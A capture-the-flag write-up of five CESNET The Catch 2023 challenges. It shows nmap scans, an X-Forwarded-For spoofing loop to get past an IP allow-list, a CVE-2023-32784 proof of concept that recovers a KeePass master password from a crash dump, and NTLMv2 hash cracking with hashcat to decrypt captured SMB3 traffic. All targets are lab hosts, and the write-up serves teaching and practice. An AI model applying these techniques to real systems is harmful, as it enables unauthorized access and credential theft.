

[CTF The Catch 2023 by CESNET (makhno)]

Write-Up

Challenge : Web protocols

We must investigate on web server `web-protocols.cns-jv.tcc`

So I launch nmap on this web server because often CESNET web challs have open ports alternatives.

```
nmap -sV -p 1-65000 web-protocols.cns-jv.tcc
2 Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-05 13:43 CEST
  Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
4 Connect Scan Timing: About 0.51% done
  Nmap scan report for web-protocols.cns-jv.tcc (10.99.0.122)
6 Host is up (0.028s latency).
  PORT      STATE SERVICE      VERSION
8 5009/tcp   open  airport-admin?
  5011/tcp   open  http          Werkzeug httpd 1.0.1 (Python 3.10.13)
10 5020/tcp   open  http          Werkzeug httpd 1.0.1 (Python 3.10.13)
  8011/tcp   open  http          nginx 1.22.1
12 8020/tcp   open  ssl/http      nginx 1.22.1
```

We can see multiples open ports

Next I try to use `curl` tool in order to see verbose

```
curl -v "http://web-protocols.cns-jv.tcc:5011/"
2  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
   Dload  Upload  Total   Spent    Left     Speed
4   0     0    0     0     0     0      0      0 --:--:-- --:--:-- --:--:--    0*    Trying
   10.99.0.122:5011...
* Connected to web-protocols.cns-jv.tcc (10.99.0.122) port 5011 (#0)
6 > GET / HTTP/1.1
  > Host: web-protocols.cns-jv.tcc:5011
8 > User-Agent: curl/7.88.1
  > Accept: */*
10 >
* HTTP 1.0, assume close after body
12 < HTTP/1.0 200 OK
  < Content-Type: text/html; charset=utf-8
14 < Content-Length: 523172
  < Set-Cookie: SESSION=LXJ2YnEtYWJJ; Path=/
```

Very interesting in *Set-Cookie* because it looks like base64

```
1 echo -n "LXJ2YnEtYWJJ" | base64 -d
-rvbq-abI
```

So with the same method I also find :

```
curl -v "http://web-protocols.cns-jv.tcc:5020/"
2 ...
  < Set-Cookie: SESSION=Ui00MzNBfQ==; Path=/
4
6 echo -n "Ui00MzNBfQ==" | base64 -d
R-433A}
```

However, it no longer works for

```

curl -v "http://web-protocols.cns-jv.tcc:5009/"
2 *    Trying 10.99.0.122:5009...
* Connected to web-protocols.cns-jv.tcc (10.99.0.122) port 5009 (#0)
4 > GET / HTTP/1.1
> Host: web-protocols.cns-jv.tcc:5009
6 > User-Agent: curl/7.88.1
> Accept: */*
8 >
< HTTP/1.1 400 Bad Request

```

So to solve the challenge, we need to look at the title of the chall, which gives us a clue *Web protocols*

This resource is great :

HTTP Versions : <https://everything.curl.dev/http/versions>

I discover *HTTP/0.9* version ;-)

```

1 printf 'GET / HTTP/0.9\r\nHost:web-protocols.cns-jv.tcc:5009\r\n\r\n' | nc -v
   web-protocols.cns-jv.tcc 5009
...
3 < Set-Cookie: SESSION=RkxBR3trckx0; Path=/

5 echo -n "RkxBR3trckx0" | base64 -d
FLAG{krLt

```

Yeah I find the flag : **FLAG{krLt-rvbq-abIR-433A}**

Challenge : Captain's password

OK, We have two files :

- a memory crashdump
- a KDBX file (Keepass vault)

I understand that I need to retrieve the password via the memory crashdump to open the password safe.

As it happens, there was a CVE on this subject in 2023 : *CVE-2023-32784*

CVE-2023-32784 : <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32784>

There are several poc on github :

POC keepass-dump-masterkey : <https://github.com/CMEPW/keepass-dump-masterkey>

```
python3 keepass-dump-masterkey/poc.py crashdump.dmp
2 2023-10-05 14:08:27,049 [.] [main] Opened crashdump.dmp
Possible password: )ssword4mypreciousship
4 Possible password: assword4mypreciousship
Possible password: :ssword4mypreciousship
6 Possible password: |ssword4mypreciousship
Possible password: Wssword4mypreciousship
8 Possible password: 5ssword4mypreciousship
Possible password: rssword4mypreciousship
```

As a reminder, the first character cannot be found in the dump, and for the second the script will only give you a few possibilities

So I can guess with :

- Password4mypreciousship
- password4mypreciousship

The good password is *password4mypreciousship*

Yeah I find the flag : **FLAG{pyeB-941A-bhGx-g3RI}**

Challenge : Keyword of the day

We must investigate on web server `keyword-of-the-day.cns-jv.tcc`

So I launch nmap on this web server because often CESNET web challs have open ports alternatives.

```
nmap -sV -p 1-65535 keyword-of-the-day.cns-jv.tcc
2 Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-05 18:29 CEST
Nmap scan report for keyword-of-the-day.cns-jv.tcc (10.99.0.155)
4 Host is up (0.043s latency).
Not shown: 65301 closed tcp ports (conn-refused)
6 PORT      STATE SERVICE VERSION
60000/tcp open  http  Apache httpd 2.4.56 ((Debian))
8 60004/tcp open  http  Apache httpd 2.4.56 ((Debian))
60009/tcp open  http  Apache httpd 2.4.56 ((Debian))
10 60010/tcp open  http  Apache httpd 2.4.56 ((Debian))
60011/tcp open  http  Apache httpd 2.4.56 ((Debian))
12 60015/tcp open  http  Apache httpd 2.4.56 ((Debian))
60018/tcp open  http  Apache httpd 2.4.56 ((Debian))
14 60019/tcp open  http  Apache httpd 2.4.56 ((Debian))
60020/tcp open  http  Apache httpd 2.4.56 ((Debian))
16 60021/tcp open  http  Apache httpd 2.4.56 ((Debian))
60023/tcp open  http  Apache httpd 2.4.56 ((Debian))
18 60029/tcp open  http  Apache httpd 2.4.56 ((Debian))
60030/tcp open  http  Apache httpd 2.4.56 ((Debian))
20 60031/tcp open  http  Apache httpd 2.4.56 ((Debian))
...
22 60495/tcp open  http  Apache httpd 2.4.56 ((Debian))
```

OK, we have around 500 ports open, so what is THE difference between each pages ?

The difference is on JS script because there is only a parameter changes

```
Example on 60000
2 '158706KaxUIc','c7ac88877d','XpYtE'
4 On 60032
'158706KaxUIc','82c2f02530','XpYtE'
6 ...
```

So I can do a loop on a html code to find if a page is uniq !

```
awk -F "158706KaxUIc'," '{print $2 FS "."}' html/page_*.html | awk -F "," '{print $1 FS
      "."}' | cut -d'"' -f2 | sort | uniq -c | sort -nr
2      1 a3046e9d4c
      1 948cd06ca7
```

I can test this two pages

```
1 page_60294.html -> a3046e9d4c
page_60257.html -> 948cd06ca7
3
curl http://keyword-of-the-day.cns-jv.tcc:60257/948cd06ca7/
5 Your flag is FLAG{DEIE-fiOr-pGV5-8MPc}
```

Yeah I find the flag : **FLAG{DEIE-fiOr-pGV5-8MPc}**

Challenge : Component replacement

OK, I know I have to go to the page `http://key-parts-list.cns-jv.tcc` but only intern adress is authorized (range 192.168.96.0/20)

I have to use the *X-Forwarded-For:* header

```
curl --header "X-Forwarded-For: 192.168.96.1" "http://key-parts-list.cns-jv.tcc/"
2 You are attempting to access from the IP address 192.168.96.1, which is not assigned to
   engine room. Access denied.
```


So with a dirty bash script in order to loop :-)

```
#!/bin/bash
2 for i in {96..111}; do
   for j in {1..253}; do
4     curl --header "X-Forwarded-For: 192.168.$i.$j" "http://key-parts-list.cns-jv.tcc/"
       done
6 done
```

Yeah I find the flag : **FLAG{MN9o-V8Py-mSZV-JkRz}**

Challenge : Suspicious traffic

We have only a PCAP file with much traffic



Protocole	Pourcent Paquets	Paquets	Pourcent Octets	Octets	Bits/s	Paquets de Fin	Octets de Fin
Frame	100.0	2484	100.0	7242882	2 326 k	0	0
Linux cooked-mode capture	100.0	2484	0.7	49680	15 k	0	0
Internet Protocol Version 6	0.1	3	0.0	120	38	0	0
Internet Control Message Protocol v6	0.1	3	0.0	60	19	3	60
Internet Protocol Version 4	99.6	2473	0.7	49460	15 k	0	0
User Datagram Protocol	31.4	780	0.1	6240	2 004	0	0
Domain Name System	31.4	780	0.8	60345	19 k	780	60345
Transmission Control Protocol	67.8	1685	97.7	7 076 233	2 273 k	636	830 144
NetBIOS Session Service	6.9	171	12.7	919 552	295 k	0	0
SMB2 (Server Message Block Protocol version 2)	6.9	171	12.7	918 868	295 k	164	33 348
Hypertext Transfer Protocol	0.8	20	0.2	14 545	4 672	10	1 503
Line-based text data	0.4	10	0.2	11 011	3 537	10	11 011
Data	34.8	865	96.3	6 972 592	2 239 k	865	697 2592
Internet Control Message Protocol	0.3	8	0.0	512	164	8	512
Address Resolution Protocol	0.3	8	0.0	224	71	8	224

Figure 1: Protocols Hierarchy

I'll list the interesting things in this chall

Frame 2337 HTTP :

```
2 Authorization: Basic YWRtaW46amFtZXMuZjByLkhUVFAuNDY0ODUwNw==\r\n
4 echo -n "YWRtaW46amFtZXMuZjByLkhUVFAuNDY0ODUwNw==" | base64 -d
admin:james.f0r.HTTP.4648507
```

So I found a password `james.f0r.HTTP.4648507`

Frame 322 FTP on an unusual port 65021

```
2 Frame 327 FTP password
0000 50 41 53 53 20 6a 61 6d 65 73 2e 66 30 72 2e 46 PASS james.f0r.F
4 0010 54 50 2e 33 36 31 38 39 39 35 0d 0a TP.3618995..
```

So I found a 2nd password `james.f0r.FTP.3618995`

But I see too two interesting files :

- `home.tgz`
- `etc.tgz`

And I know Magic Header `'tgz'` : `1F 8B 08`

Magic Header : https://www.garykessler.net/library/file_sigs.html

Sometimes it can be interesting to follow conversations rather than protocols

Wireshark - Conversations - suspicious_traffic.pcap

Conversation Settings

☐Résolution de nom

☐Heure de début absolue

☐Limiter au Filtre d’Affichage

Copier

Ethernet	IPv4 · 6	IPv6 · 2	TCP · 28	UDP · 563									
Adresse A	Adresse B		Paquets	Octets	Packets A → B	Bytes A → B	Packets B → A	Bytes B → A	Début Rel	Durée	Bits/s A → B	Bits/s B → A	
127.0.0.1	127.0.0.11		412	49,751 Kio	206	17,818 Kio	206	31,933 Kio	0.036822	24.8524	5 873 bits/s	10 kbps	
172.20.0.5	172.20.0.7		1206	5,889 Mio	352	25,144 Kio	854	5,864 Mio	0.000000	2.4523	83 kbps	20 Mbps	
172.20.0.7	172.20.0.2		319	908,616 Kio	177	889,037 Kio	142	19,579 Kio	0.037113	24.8663	292 kbps	6 450 bits/s	
172.20.0.7	172.20.0.3		131	23,682 Kio	72	6,727 Kio	59	16,955 Kio	1.197065	23.5739	2 337 bits/s	5 891 bits/s	
172.20.0.7	172.20.0.6		37	14,790 Kio	20	11,725 Kio	17	3,065 Kio	0.160902	2.8341	33 kbps	8 860 bits/s	
172.20.0.7	195.113.144.233		368	45,742 Kio	184	16,133 Kio	184	29,609 Kio	0.049306	24.8396	5 320 bits/s	9 765 bits/s	

Figure 2: Conversations

Filter in Wireshark shows `ip.addr==172.20.0.5 && ip.addr==172.20.0.7`

```

Frame 1447
2 file etc.tgz
etc.tgz:  gzip compressed data, from Unix, original size modulo 2^32 788480
4
Frame 342
6 file home.tgz
home.tgz: gzip compressed data, from Unix, original size modulo 2^32 21073920

```

Looking in the tgz files, the only interesting thing is


```

1 cat .bash_history
...
3 openssl enc -aes-256-cbc -salt -pbkdf2 -in secret.db -out secret.db.enc -k
  R3alyStr0ngP4ss!

```

OK, I know that the file *secret.db* is encrypted and with which password *R3alyStr0ngP4ss!*

I also look at the SMB protocol via the list of object exports



Paquet	Nom d'hôte	Type de contenu	Taille	Nom du fichier
139	\\smbserver1\workdata	FILE (212992/212992) W [100,00%]	212 kB	\\history.db
295	\\smbserver1\workdata	FILE (61440/61440) W [100,00%]	61 kB	\\employees.db
1662	\\smbserver1\workdata	FILE (212992/212992) W [100,00%]	212 kB	\\history.db
1793	\\smbserver1\workdata	FILE (61440/61440) W [100,00%]	61 kB	\\employees.db
1941	\\smbserver1\workdata	FILE (212992/212992) W [100,00%]	212 kB	\\history.db
2199	\\smbserver1\workdata	FILE (61440/61440) W [100,00%]	61 kB	\\employees.db
2483	\\smbserver1\workdata	FILE (61440/61440) W [100,00%]	61 kB	\\employees.db

Figure 3: Export object SMB

I see two files :

- history.db
- employees.db

But not the *secret.db* file ...

However, I'm puzzled by something about the SMB protocol. Everything is in SMBv2 except for frame 2057, which switches to SMBv3.

I know that SMBv3 is necessarily encrypted, so how can I decrypt it?

Answer here :

Decrypting SMBv3 traffic with a PCAP : <https://medium.com/maverislabs/decrypting-smb3-traffic-with-just-a-pcap-absolutely-maybe-712ed23ff6a2>

I can deduce

```

1 Frame 2053 : NTLMServer Challenge
  Frame 2055 : NTLM response
3 Frame 2081 : Negotiate protocol request

5 NTLM Response :
  Trame 2055 (NTLM response)
7 Frame 2055: 656 bytes on wire (5248 bits), 656 bytes captured (5248 bits)
  SMB2 (Server Message Block Protocol version 2)
9     Session Id: 0x00000000b936b149 Acct:james_admin Domain:LOCAL.TCC Host:71FD67E3B969
    [Account: james_admin]

```

```

11         [Domain: LOCAL.TCC]
12         [Host: 71FD67E3B969]
13         [Authenticated in Frame: 2056]
14     [Preauth Hash:
15         2...d720b816b291142056219bfb2a57fb397b82a7691cd2610cbc0d506c6e10768d26e856a]
16     Security Blob:
17         ...a18201e8308201e4a28201cc048201c84e544c4d53535000030000001800180058000000
18         GSS-API Generic Security Service Application Program Interface
19         Simple Protected Negotiation
20     ...
21     NTLM Response:
22         8...bc34ae8e76fe9b8417a966c2f632eb401010000000000003ab4fc1550e2d901b352a9763bdec89a0000000002001
23     ...
24     NTProofStr: 8bc34ae8e76fe9b8417a966c2f632eb4
25     User: james_admin
26     Domain name: LOCAL.TCC
27     Host name: 71FD67E3B969
28     Session Key: 4292dac3c7a0510f8b26c969e1ef0db9
29     NTLM Server Challenge: 78c8f4fdf5927e58
30     NTLM Response :
31         8bc34ae8e76fe9b8417a966c2f632eb401010000000000003ab4fc1550e2d901b352a9763bdec89a0000000002001

```

The blog gives us a script with several arguments BUT I must have a password !!!

```

python2 random_session_key_calc.py
2 usage: random_session_key_calc.py [-h] -u USER -d DOMAIN -p PASSWORD -n
    NTPROOFSTR -k KEY [-v]
4 random_session_key_calc.py: error: argument -u/--user is required

```

I test :

- Brute-Force with *rockyou.txt* dictionary,
- Brute-Force with password guessing

Because the second way is the best we know :

- HTTP : admin / james.f0r.HTTP.4648507
- FTP : james / james.f0r.FTP.3618995

So I can guess password will be of the form james_admin.f0r.SMB.XXXXXXX

```

hash.txt is :
2 james_admin::LOCAL.TCC:78c8f4fdf5927e58:8bc34ae8e76fe9b8417a966c2f632eb4:01010000000000003ab4fc1
4
hashcat -m 5600 hash.txt -a 3 "james_admin.f0r.SMB.?d?d?d?d?d?d" --self-test-disable
6 --> Password : james_admin.f0r.SMB.8089078

```

So now I can keep the random session key *SK*

- -n NTPROOFSTR = 8bc34ae8e76fe9b8417a966c2f632eb4
- -k KEY = 4292dac3c7a0510f8b26c969e1ef0db9

```

python random_session_key_calc.py -d LOCAL.TCC -u james_admin -n
    8bc34ae8e76fe9b8417a966c2f632eb4 -k 4292dac3c7a0510f8b26c969e1ef0db9 -p
    james_admin.f0r.SMB.8089078 --verbose
2 USER WORK: JAMES_ADMINLOCAL.TCC
PASS HASH: 7cf87b641c657bf9e3f75d93308e6db3
4 RESP NT: a154f31a5ecc711694c3e0d064bac78e
NT PROOF: 8bc34ae8e76fe9b8417a966c2f632eb4
6 KeyExKey: 6a1d3b41cdf3d40f15a6c15b80d567d0
Random SK: 7a93dee25de4c2141657e7037dddb8f1

```

Now that we have everything we can decrypt via *Wireshark* or *tshark*




Figure 4: Parameter Key/NTPROOFSTR




Figure 5: Wireshark -> Pref SMB editing

```

1 Tricks with tshark ;- )
3 tshark -Y smb2
'-ouat:smb2_seskey_list:49b136b900000000,7a93dee25de4c2141657e7037dddb8f1,"","' -r
suspicious_traffic.pcap | grep "secret.db"
2065 2.991020 172.20.0.7 → 172.20.0.6 SMB2 276 Decrypted SMB3;Create Request File:
secret.db.enc
5 2066 2.992688 172.20.0.6 → 172.20.0.7 SMB2 280 Decrypted SMB3;Create Response
File: secret.db.enc
2068 2.993215 172.20.0.7 → 172.20.0.6 SMB2 1224 Decrypted SMB3;Write Request
Len:8224 Off:0 File: secret.db.enc
7 2071 2.993883 172.20.0.7 → 172.20.0.6 SMB2 216 Decrypted SMB3;Close Request File:
secret.db.enc

```

When the traffic is decrypted we now see our file *secret.db.enc*




Figure 6: SMBv3 decrypted

Now it's time to decipher it

```

1 openssl enc -d -aes-256-cbc -salt -pbkdf2 -in secret.db.enc -out secret.db
3 cat secret.db |grep -a "FLAG"
!?FLAGFLAG{5B9B-lwPy-OfRS-4uEN}

```

Yeah I find the flag : **FLAG{5B9B-lwPy-OfRS-4uEN}**

PS : *For me it's the best chall in CESNET 2023 ;-) because it's a really really good forensic chall !!!*